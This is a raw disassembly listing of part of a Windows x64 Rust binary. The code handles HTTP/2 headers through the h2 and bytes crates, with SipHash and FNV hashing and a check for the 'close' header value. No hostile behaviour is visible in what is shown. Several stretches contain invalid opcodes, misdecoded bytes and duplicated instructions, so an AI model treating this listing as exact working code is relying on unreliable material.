mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], rax
cmp byte [rax - 0x73], cl
add eax, 0xc2dbe
cmp byte [rax - 0x73], cl
add eax, 0xc2dbe
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x20]
jmp case.0x140071417.24
lea rax, [rsp + 0x20]
mov qword [rsp + 0x90], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0xa0], rcx
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xa8], rax
lea rax, [0x14013e4f8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
adc eax, 0xc2d51
adc eax, 0xc2d51
lea rcx, [rsp + 0x40]
call fcn.140104620
lea rcx, [0x140125899]
lea ecx, [0x140125899]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov edx, 0x3e
call fcn.1401046f0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov rcx, rdi
mov rdx, rax
call fcn.1401048e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov rcx, rax
call fcn.1401046e0
lea rcx, str.not_implemented
lea r8, [0x14013a728]
mov edx, 0xf
call fcn.1401046f0
lea rax, [rsp + 0x158]
jmp 0x14007b718
mov eax, dword [rsp + 0x47c]
inc eax
cmp byte [rdi + 0xd1], 0
mov byte [rdi + 0xd1], 0
je 0x140085608
cmp eax, 0x10
je 0x1400855f3
mov dword [rsp + 0x47c], eax
cmp byte [rdi + 0x1e0], 0
jne 0x140085328
mov rax, qword [rdi + 0x70]
mov rcx, qword [rdi + 0x90]
test rax, rax
jne 0x14007f674
cmp rcx, 2
jne 0x14007f822
mov rdx, qword [r15 + 0x20]
mov qword [rsp + 0x280], rdx
movdqu xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
movdqa xmmword [rsp + 0x270], xmm1
movdqa xmmword [rsp + 0x260], xmm0
mov byte [rdi + 0x1d0], 3
cmp byte [rsp + 0x280], 3
je 0x140083c04
mov rcx, qword [rsp + 0x280]
mov qword [rsp + 0x160], rcx
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmm1, xmmword [rsp + 0x270]
movdqa xmmword [rsp + 0x150], xmm1
movdqa xmmword [rsp + 0x140], xmm0
dec rax
cmp rax, 2
jae 0x14007f815
mov rcx, r14
mov rdx, r13
call fcn.140036a20
test rax, rax
jne 0x140083c23
test rdx, rdx
je 0x1400830db
mov qword [rsp + 0x1460], rdx
cmp dword [rdi + 0x70], 1
jne 0x14007f726
mov qword [rdi + 0x70], 2
mov rcx, r12
mov rdx, rdi
mov r8, r13
call fcn.140091860
mov rax, qword [rsp + 0x7e0]
cmp rax, 2
je 0x14007f7f0
mov rcx, r14
call fcn.140086030
jmp 0x14007f64d
cmp dword [rbp], 2
je 0x1400838d1
mov rcx, rbp
mov rdx, r13
call fcn.14008dfd0
test al, al
je 0x1400838d1
movss xmm12, dword [rdi + 0xc9]
movaps xmmword [rsp + 0x790], xmm12
movzx eax, byte [rsp + 0x791]
mov byte [rsp + 0x6e], al
movzx eax, byte [rdi + 0xcd]
mov byte [rsp + 0x6f], al
movzx eax, byte [rdi + 0xce]
mov byte [rsp + 0x4b], al
movzx eax, byte [rdi + 0xd0]
mov byte [rsp + 0x50], al
nop
mov rax, qword [rsp + 0x5e8]
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0x5e0]
mov qword [rsp + 0x5f8], rax
movss dword [rsp + 0x600], xmm12
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x604], al
movzx eax, byte [rsp + 0x4b]
mov byte [rsp + 0x605], al
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x606], al
mov rbp, qword [rdi + 0x160]
test rbp, rbp
je 0x140082970
mov qword [rsp + 0x238], 2
mov qword [rsp + 0x258], 0
mov rax, qword [rsp + 0x428]
mov rbx, qword [rax]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0x64
xor edx, edx
jmp 0x14007f92c
movzx r8d, byte [rbx + rdx]
cmp r8d, 0xa
je 0x14007f920
mov r15, qword [rbx]
mov r13, qword [rbx + 8]
mov rax, r15
sub rax, r13
ja 0x1400859c1
mov rdx, qword [rsp + 0x1a8]
cmp r13, rdx
ja 0x1400859b2
mov r14, r13
sub r14, r15
je 0x140082b9f
mov rsi, qword [rsp + 0x1a0]
cmp r14, 0x40
ja 0x1400802df
cmp rax, 0xfffffffffffffffc
jbe 0x140080323
xor r8d, r8d
lea r10, [0x14013c040]
jmp 0x140080397
cmp r14, 0x10000
jae 0x140082b9f
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r14
call fcn.1400e0010
test rax, rax
je 0x140085ade
mov rcx, r14
mov rbp, rbx
shr rcx, 0xa
je 0x140080495
bsr rcx, rcx
xor rcx, 0x3f
jmp 0x14008049a
mov eax, r14d
and eax, 0x7c
lea rcx, [rsi + r15]
add rcx, 3
xor edx, edx
lea r10, [0x14013c040]
nop word [rax + rax]
movzx r8d, byte [rcx + rdx - 3]
movzx r8d, byte [r8 + r10]
mov byte [rsp + rdx + 0x7e0], r8b
movzx r8d, byte [rcx + rdx - 2]
movzx r8d, byte [r8 + r10]
mov byte [rsp + rdx + 0x7e1], r8b
movzx r8d, byte [rcx + rdx - 1]
movzx r8d, byte [r8 + r10]
mov byte [rsp + rdx + 0x7e2], r8b
lea r8, [rdx + 4]
movzx r9d, byte [rcx + rdx]
movzx r9d, byte [r9 + r10]
mov byte [rsp + rdx + 0x7e3], r9b
mov rdx, r8
cmp rax, r8
jne 0x140080340
mov eax, r14d
and eax, 3
je 0x1400803d6
lea rcx, [rsp + r8]
add rcx, 0x7e0
add r15, r8
add rsi, r15
xor edx, edx
nop word cs:[rax + rax]
movzx r8d, byte [rsi + rdx]
movzx r8d, byte [r8 + r10]
mov byte [rcx + rdx], r8b
inc rdx
cmp rax, rdx
jne 0x1400803c0
mov rcx, r12
mov rdx, r14
call fcn.14002ebe0
cmp al, 0x51
jne 0x140080469
cmp r14, 0xf
ja 0x140080555
xor eax, eax
nop word cs:[rax + rax]
cmp byte [rsp + rax + 0x7e0], 0
je 0x140082b9f
inc rax
cmp r14, rax
jne 0x140080400
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r14
call fcn.1400e0010
test rax, rax
je 0x140085ade
mov rcx, rax
mov rsi, rax
mov rdx, r12
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rsi
mov r8, rsi
or r8, 1
test dl, 1
cmovne r8, rsi
lea rcx, [0x140126058]
lea rax, [0x140126040]
cmove rcx, rax
jmp 0x14008065b
movzx eax, al
mov rdx, qword [rsp + 0x658]
and rdx, 0xffffffffffffff00
or rdx, rax
xor ecx, ecx
mov r8, qword [rsp + 0x668]
mov r14, qword [rsp + 0x660]
jmp 0x14008065b
mov ecx, 0x40
shl rcx, 2
mov edx, 0x101
sub rdx, rcx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], r14
mov qword [rsp + 0x88], rdx
xor ecx, ecx
nop word cs:[rax + rax]
movzx edx, byte [rsi + r15]
lea r8, [0x14013c040]
movzx ebx, byte [rdx + r8]
test bl, bl
je 0x140082b3d
cmp r14, rcx
jne 0x14008050f
mov edx, 1
lea rcx, [rsp + 0x70]
call fcn.1400126a0
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov r14, qword [rsp + 0x80]
mov byte [rax + rcx], bl
inc rcx
mov qword [rsp + 0xe0], rcx
cmp rcx, r14
ja 0x1400856ed
mov qword [rsp + 0x78], rcx
inc r15
cmp r13, r15
jne 0x1400804d0
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x88]
test sil, 1
jne 0x14008056a
lea rax, [0x14014bbf0]
mov r8, rsi
jmp 0x140080652
cmp qword [rsp + 0x680], r12
jne 0x1400805a7
lea rcx, [r14 - 0x10]
xor eax, eax
jmp 0x1400820c0
mov r14, qword [rsp + 0x80]
shr rsi, 5
sub rdx, rsi
lea rbx, [rsi + rcx]
cmp rcx, r14
jne 0x1400805df
test rbx, rbx
je 0x14008061f
mov r8, rdx
test dl, 1
jne 0x140080634
or r8, 1
lea rax, [0x140126040]
jmp 0x14008063b
mov rcx, qword [rsp + 0x678]
cmp rcx, r14
mov rax, r14
cmovb rax, rcx
xor ecx, ecx
nop dword [rax + rax]
cmp byte [rsp + rcx + 0x7e0], 0
je 0x140082b9f
inc rcx
cmp rax, rcx
jne 0x1400805c0
lea rcx, [r14 - 0x10]
jmp 0x1400820f7
mov r15, rdx
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140085c90
mov r8, rax
add r14, rsi
mov rdx, r15
mov qword [rax], r15
mov qword [rax + 8], r14
mov qword [rax + 0x10], 1
lea rax, [0x140110b88]
jmp 0x14008063b
lea rdx, [0x14016f768]
xor r8d, r8d
xor ebx, ebx
lea rax, [0x140110a98]
jmp 0x14008063b
lea rax, [0x140126058]
mov qword [rsp + 0x170], rsi
mov rcx, rbx
sub rcx, rsi
jb 0x140085e3f
add rdx, rsi
mov r14, rcx
mov rcx, rax
mov rbx, rbp
mov qword [rsp + 0x430], rcx
mov qword [rsp + 0x438], rdx
mov qword [rsp + 0x660], r14
mov qword [rsp + 0x440], r14
mov qword [rsp + 0x668], r8
mov qword [rsp + 0x448], r8
mov r14, qword [rbx + 0x10]
mov rax, qword [rbx + 0x18]
mov r9, qword [rsp + 0x1a8]
mov qword [rsp + 0xe0], r9
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x4b0], rax
cmp r14, rax
ja 0x1400859d3
cmp r9, rax
jb 0x140085ab2
cmp rax, r14
mov qword [rsp + 0x658], rdx
mov qword [rsp + 0x7d8], rcx
jne 0x1400806f6
mov eax, edx
lea r14, [0x14016f768]
xor r15d, r15d
xor ebp, ebp
lea r13, [0x140127c68]
test rcx, rcx
je 0x140080754
jmp 0x1400807b7
mov rax, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov rcx, r12
lea rdx, [rsp + 0x1b0]
call qword [rax]
mov r13, qword [rsp + 0x7e0]
test r13, r13
je 0x140085c84
mov rbp, qword [rsp + 0x4b0]
mov r15, qword [rsp + 0x7f8]
sub rbp, r14
add r14, qword [rsp + 0x7e8]
mov rcx, qword [rsp + 0x430]
movzx eax, byte [rsp + 0x438]
test rcx, rcx
jne 0x1400807b7
cmp al, 0x14
jne 0x1400807b7
test byte [rsp + 0xa4], 1
jne 0x140080787
mov rcx, r14
mov rdx, rbp
call fcn.140038070
mov dword [rsp + 0xa4], eax
mov rsi, qword [rsp + 0x1b8]
cmp rsi, 3
jne 0x1400807c9
jmp 0x14008187b
xor eax, eax
nop dword [rax]
cmp rbp, rax
je 0x140080b4a
movzx ecx, byte [r14 + rax]
inc rax
cmp cl, 9
je 0x140080790
add cl, 0xe0
cmp cl, 0x5f
jb 0x140080790
mov al, 1
mov dword [rsp + 0xa4], eax
mov rsi, qword [rsp + 0x1b8]
cmp rsi, 3
je 0x14008187b
mov rax, rbx
mov rbx, qword [rbx]
mov qword [rsp + 0x98], rax
mov rax, qword [rax + 8]
mov r9, qword [rsp + 0x1a8]
mov qword [rsp + 0x170], r9
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x4b0], rax
cmp rbx, rax
ja 0x1400859d3
cmp r9, rax
jb 0x140085bf6
cmp rax, rbx
mov qword [rsp + 0x650], r14
mov qword [rsp + 0x230], r15
jne 0x14008084b
lea rax, [0x14016f768]
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0xf0]
movups xmmword [rax], xmm8
lea rax, [0x140127c68]
mov qword [rsp + 0xe0], rax
jmp 0x1400808b5
mov rax, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov rcx, r12
lea rdx, [rsp + 0x1b0]
call qword [rax]
mov rax, qword [rsp + 0x4b0]
sub rax, rbx
mov qword [rsp + 0x7f0], rax
add qword [rsp + 0x7e8], rbx
movdqu xmm0, xmmword [rsp + 0x7e0]
movdqa xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x7f0]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x7f8]
mov qword [rsp + 0xf8], rax
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xe0
add dword [rax], eax
add byte [rbx + rcx*4 - 0x4c], cl
and al, 8
add al, byte [rax]
add byte [rbx - 0x76b3fe02], al
lodsb al, byte [rsi]
and al, 0x10
add al, 0
add byte [rax - 0x77], cl
lodsb al, byte [rsi]
and al, 8
add al, 0
add byte [rbp + 0x4e], dh
mov r15, qword [rsp + 0x1e0]
mov r14, qword [rsp + 0x208]
cmp esi, 1
mov qword [rsp + 0x410], r13
mov qword [rsp + 0x408], rbp
jne 0x140080928
test r15, r15
js 0x140080c67
xorps xmm0, xmm0
cvtsi2ss xmm0, r15
test r14, r14
jns 0x140080c8b
mov rax, r14
shr rax, 1
mov ecx, r14d
and ecx, 1
or rcx, rax
cvtsi2ss xmm1, rcx
addss xmm1, xmm1
divss xmm0, xmm1
ucomiss xmm0, xmm11
jb 0x140080c9e
mov qword [rsp + 0x1b8], 0
jmp 0x140080943
mov rax, r14
shr rax, 2
mov rcx, r14
sub rcx, rax
cmp r15, rcx
jne 0x14008095e
test r15, r15
je 0x140080fcd
add r14, r14
lea rcx, [rsp + 0x1b8]
mov rdx, r14
call fcn.14003ae30
test al, al
jne 0x140085cfe
mov rcx, qword [rsp + 0x1b8]
cmp rcx, 2
mov qword [rsp + 0x638], rcx
jne 0x140080ab2
mov r8, qword [rsp + 0x1c0]
mov r10, qword [rsp + 0x1c8]
mov r9, r8
movabs rax, 0x736f6d6570736575
xor r9, rax
mov rax, r10
movabs rcx, 0x646f72616e646f6d
xor rax, rcx
mov rdx, r8
movabs rcx, 0x6c7967656e657261
xor rdx, rcx
mov rcx, r10
movabs r11, 0x7465646279746573
xor rcx, r11
mov qword [rsp + 0x7e0], r9
mov qword [rsp + 0x7e8], rdx
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], rcx
mov qword [rsp + 0x800], r8
mov qword [rsp + 0x808], r10
mov r11, qword [rsp + 0x430]
xor r8d, r8d
test r11, r11
setne r8b
xor rcx, r8
add rdx, rcx
rol rcx, 0x10
lea r10, [rsp + 0x818]
movups xmmword [r10], xmm8
add r9, rax
rol rax, 0xd
xor rax, r9
rol r9, 0x20
xor rcx, rdx
add r9, rcx
xor r8, r9
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
rol rcx, 0x15
xor rcx, r9
mov qword [rsp + 0x810], 8
mov qword [rsp + 0x7f8], rcx
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7e8], rdx
mov qword [rsp + 0x7e0], r8
movups xmmword [rsp + 0x818], xmm8
mov rsi, r11
test r11, r11
je 0x140080e73
mov rdx, qword [rsp + 0x438]
mov r8, qword [rsp + 0x440]
lea rcx, [rsp + 0x7e0]
mov qword [rsp + 0xb0], rdx
jmp 0x140080ea1
mov r10, qword [rsp + 0x430]
xor r11d, r11d
test r10, r10
setne r11b
movabs rax, 0xcbf29ce484222325
xor r11, rax
movabs rax, 0x1efac7090aef4a21
imul r11, rax
test r10, r10
movabs r9, 0x100000001b3
je 0x140080fae
mov rax, qword [rsp + 0x438]
mov qword [rsp + 0xb0], rax
mov r8, qword [rsp + 0x440]
test r8, r8
je 0x140081127
mov rcx, r8
and rcx, 7
je 0x140081095
mov rax, qword [rsp + 0xb0]
nop dword [rax + rax]
movzx edx, byte [rax]
inc rax
xor rdx, r11
imul rdx, r9
mov r11, rdx
dec rcx
jne 0x140080b30
jmp 0x1400810a0
mov qword [rsp + 0x7e0], 0
mov qword [rsp + 0x7e8], rbp
mov qword [rsp + 0x7f0], r14
mov qword [rsp + 0x7f8], rbp
mov dword [rsp + 0x7f8], ebp
mov dword [rsp + 0x7f8], ebp
invalid
mov qword [rsp + 0x800], 0
mov qword [rsp + 0x808], rbp
movabs rax, 0x2c0000002c
mov qword [rsp + 0x810], rax
mov byte [rsp + 0x818], 1
mov word [rsp + 0x820], 1
nop word cs:[rax + rax]
mov rcx, r12
call fcn.140040030
test rax, rax
je 0x1400807ae
mov rcx, rax
call fcn.140038210
cmp rdx, 5
jne 0x140080bb0
movzx ecx, byte [rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x63
jne 0x140080bb0
movzx ecx, byte [rax + 1]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6c
jne 0x140080bb0
movzx ecx, byte [rax + 2]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6f
jne 0x140080bb0
movzx ecx, byte [rax + 3]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x73
jne 0x140080bb0
movzx eax, byte [rax + 4]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x65
jne 0x140080bb0
mov dword [rsp + 0xa4], 0
mov rsi, qword [rsp + 0x1b8]
cmp rsi, 3
jne 0x1400807c9
jmp 0x14008187b
mov rax, r15
shr rax, 1
mov ecx, r15d
and ecx, 1
or rcx, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
test r14, r14
js 0x1400808f4
cvtsi2ss xmm1, r14
divss xmm0, xmm1
ucomiss xmm0, xmm11
jae 0x14008091a
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xa0], 0
jne 0x140080cc0
call fcn.140027330
mov qword [rsp + 0x1b8], 2
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm0, xmmword [rax + 0xa8]
inc qword [rax + 0xa8]
movdqu xmmword [rsp + 0x1c0], xmm0
mov rsi, qword [rsp + 0x200]
test r14, r14
je 0x140080d5f
lea rcx, [r14 - 1]
movabs rax, 0x3fffffffffffffff
and rcx, rax
mov rax, rsi
cmp rcx, 7
jb 0x140080d49
inc rcx
mov rdx, rcx
and rdx, 0xfffffffffffffff8
lea rax, [rsi + rdx*4]
xor r8d, r8d
nop
movups xmmword [rsi + r8*4], xmm9
movups xmmword [rsi + r8*4 + 0x10], xmm9
add r8, 8
cmp rdx, r8
jne 0x140080d30
cmp rcx, rdx
je 0x140080d5f
lea rcx, [rsi + r14*4]
nop dword [rax]
mov dword [rax], 0xffff
add rax, 4
cmp rax, rcx
jne 0x140080d50
test r15, r15
je 0x14008095e
mov rbx, qword [rsp + 0x1d8]
lea rax, [r15 + r15*2]
shl rax, 5
add rax, rbx
mov qword [rsp + 0x40], rax
movzx eax, word [rsp + 0x210]
movzx r12d, ax
xor r13d, r13d
jmp 0x140080db4
mov word [rsi + rcx*4], bp
mov word [rsi + rcx*4 + 2], ax
cmp rbx, qword [rsp + 0x40]
je 0x14008095e
mov rbp, r13
mov r15, rbx
add rbx, 0x60
inc r13
lea rdx, [r15 + 0x38]
lea rcx, [rsp + 0x1b8]
call fcn.14001f090
mov r8d, eax
and r8d, r12d
mov word [r15 + 0x58], ax
xor edx, edx
nop
mov rcx, r8
mov r8d, 0
cmp rcx, r14
jae 0x140080de0
cmp word [rsi + rcx*4], 0xffff
je 0x140080da0
movzx r8d, word [rsi + rcx*4 + 2]
and r8d, r12d
mov r9d, ecx
sub r9d, r8d
mov r8d, r12d
and r8d, r9d
cmp r8, rdx
jb 0x140080e40
inc rdx
inc rcx
mov r8, rcx
jmp 0x140080de0
movzx r8d, word [rsi + rdx*4 + 2]
mov word [rsi + rdx*4], bp
mov word [rsi + rdx*4 + 2], ax
inc rdx
mov eax, r8d
mov ebp, ecx
mov rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
mov ecx, 0
cmp rdx, r14
jae 0x140080e40
movzx ecx, word [rsi + rdx*4]
cmp cx, 0xffff
jne 0x140080e1a
mov word [rsi + rdx*4], bp
mov rcx, rdx
mov word [rsi + rcx*4 + 2], ax
cmp rbx, qword [rsp + 0x40]
jne 0x140080db4
jmp 0x14008095e
movzx eax, byte [rsp + 0x438]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x260], rax
mov r8d, 8
lea rcx, [rsp + 0x7e0]
lea rdx, [rsp + 0x260]
call fcn.14001f360
mov rax, qword [rsp + 0x7f0]
mov r9, qword [rsp + 0x810]
shl r9, 0x38
or r9, qword [rsp + 0x818]
mov rcx, qword [rsp + 0x7f8]
mov r8, qword [rsp + 0x7e0]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x7e8]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
add rdx, rcx
shl rcx, 0x10
xor rcx, rdx
shr rcx, 0x2b
add rdx, rax
shr rax, 0x2f
xor rax, rcx
mov r11, rdx
shr r11, 0x20
xor r11, rdx
xor r11, rax
mov r10, rsi
jmp 0x140081127
movzx ecx, byte [rsp + 0x438]
mov qword [rsp + 0xb0], rcx
xor r11, rcx
imul r11, rax
xor r10d, r10d
jmp 0x140081127
mov word [rsp + 0x210], 7
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140085f08
mov rbx, rax
movups xmmword [rax], xmm9
movups xmmword [rax + 0x10], xmm9
test r14, r14
je 0x14008101b
mov r8, qword [rsp + 0x200]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], 8
movzx eax, byte [0x14017d2b0]
mov edx, 0x240
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140085f17
mov rbx, rax
cmp qword [rsp + 0x1d0], 0
je 0x140081070
mov r8, qword [rsp + 0x1d8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1d0], 6
mov qword [rsp + 0x1d8], rbx
mov qword [rsp + 0x1e0], 0
jmp 0x14008095e
mov rdx, r11
mov rax, qword [rsp + 0xb0]
cmp r8, 8
jb 0x140081124
mov rcx, qword [rsp + 0xb0]
add rcx, r8
nop word cs:[rax + rax]
movzx r8d, byte [rax]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 1]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 2]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 3]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 4]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 5]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 6]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 7]
add rax, 8
xor rdx, r8
imul rdx, r9
cmp rax, rcx
jne 0x1400810c0
mov r11, rdx
and r11d, 0x7fff
movzx r12d, word [rsp + 0x210]
mov ebp, r11d
and ebp, r12d
mov r14, qword [rsp + 0x208]
mov rbx, qword [rsp + 0x200]
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x1e0]
mov rax, qword [rsp + 0x438]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x440]
mov qword [rsp + 0xa8], rax
xor r13d, r13d
mov qword [rsp + 0xb8], r11
mov qword [rsp + 0x138], rdx
mov qword [rsp + 0x450], r10
jmp 0x1400811b6
mov rcx, qword [rsp + 0xb0]
cmp byte [rax + 8], cl
je 0x140081290
inc r13
inc rbp
mov rax, rbp
nop dword [rax]
mov rbp, rax
mov eax, 0
cmp rbp, r14
jae 0x1400811c0
movzx r15d, word [rbx + rbp*4]
cmp r15, 0xffff
je 0x14008137f
movzx eax, word [rbx + rbp*4 + 2]
mov ecx, r12d
and ecx, eax
mov r8d, ebp
sub r8d, ecx
and r8d, r12d
cmp r8, r13
jb 0x1400813fa
cmp ax, r11w
jne 0x1400811b0
cmp rdx, r15
jbe 0x14008567e
test r10, r10
sete r9b
lea rsi, [r15 + r15*2]
mov eax, esi
shl eax, 5
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + rax + 0x38]
test rcx, rcx
setne r8b
cmp r8b, r9b
je 0x1400811b0
mov r8, qword [rsp + 0x40]
add rax, r8
add rax, 0x38
test rcx, rcx
je 0x14008119f
mov rcx, qword [rsp + 0xa8]
cmp qword [rax + 0x10], rcx
jne 0x1400811b0
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x130]
mov r8, qword [rsp + 0xa8]
call sub.VCRUNTIME140.dll_memcmp
mov rdx, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov r10, qword [rsp + 0x450]
test eax, eax
jne 0x1400811b0
shl esi, 5
mov rax, qword [rsp + 0x40]
lea r14, [rax + rsi]
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x7f0], xmm1
movaps xmmword [rsp + 0x7e0], xmm0
cmp qword [rax + rsi], 0
je 0x140082009
mov rbx, qword [r14 + 0x10]
mov rsi, qword [rsp + 0x1f8]
mov rdx, rsi
cmp rsi, qword [rsp + 0x1e8]
mov r13, qword [rsp + 0x410]
mov rbp, qword [rsp + 0x408]
jne 0x140081305
lea rcx, [rsp + 0x1e8]
call fcn.14003b160
mov rdx, qword [rsp + 0x1f8]
mov rax, qword [rsp + 0x1f0]
mov rcx, rdx
shl rcx, 6
mov qword [rax + rcx], 1
mov qword [rax + rcx + 8], rbx
mov qword [rax + rcx + 0x10], 0
mov qword [rax + rcx + 0x18], r15
movdqa xmm0, xmmword [rsp + 0x7e0]
movdqa xmm1, xmmword [rsp + 0x7f0]
movdqu xmmword [rax + rcx + 0x20], xmm0
movdqu xmmword [rax + rcx + 0x30], xmm1
inc rdx
mov qword [rsp + 0x1f8], rdx
cmp rbx, rdx
jae 0x1400856de
shl rbx, 6
mov qword [rax + rbx + 0x10], 1
mov qword [rax + rbx + 0x18], rsi
mov qword [r14], 1
jmp 0x1400820a1
test r10, r10
je 0x140081484
lea rcx, [rsp + 0x7e0]
lea rdx, [rsp + 0x448]
mov r8, qword [rsp + 0x130]
mov r9, qword [rsp + 0xa8]
call qword [r10]
mov rdx, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0x7e0]
movzx ecx, byte [rsp + 0x7e8]
lea rax, [rsp + 0x818]
movdqu xmm0, xmmword [rax - 0x2f]
movdqa xmmword [rsp + 0x260], xmm0
mov rax, qword [rax - 0x20]
mov qword [rsp + 0x26f], rax
mov r15, qword [rsp + 0x230]
jmp 0x140081496
cmp r13, 0x200
setae r15b
cmp dword [rsp + 0x638], 2
setne r12b
test r10, r10
je 0x140081648
lea rcx, [rsp + 0x7e0]
lea rdx, [rsp + 0x448]
mov r8, qword [rsp + 0x130]
mov r9, qword [rsp + 0xa8]
call qword [r10]
mov rdx, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov r13, qword [rsp + 0x7e0]
movzx ecx, byte [rsp + 0x7e8]
lea rax, [rsp + 0x818]
movdqu xmm0, xmmword [rax - 0x2f]
movdqa xmmword [rsp + 0x260], xmm0
mov rax, qword [rax - 0x20]
mov qword [rsp + 0x26f], rax
jmp 0x140081653
xor ebx, ebx
mov r15, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0x70], rbx
mov byte [rsp + 0x78], cl
mov rax, qword [rsp + 0x26f]
lea rcx, [rsp + 0x80]
mov qword [rcx + 8], rax
movaps xmm0, xmmword [rsp + 0x260]
movups xmmword [rcx - 7], xmm0
movdqa xmm0, xmmword [rsp + 0xe0]
movdqa xmm1, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x4c0], xmm1
movdqa xmmword [rsp + 0x4b0], xmm0
cmp rdx, 0x7fff
ja 0x140085cab
mov r10, rdx
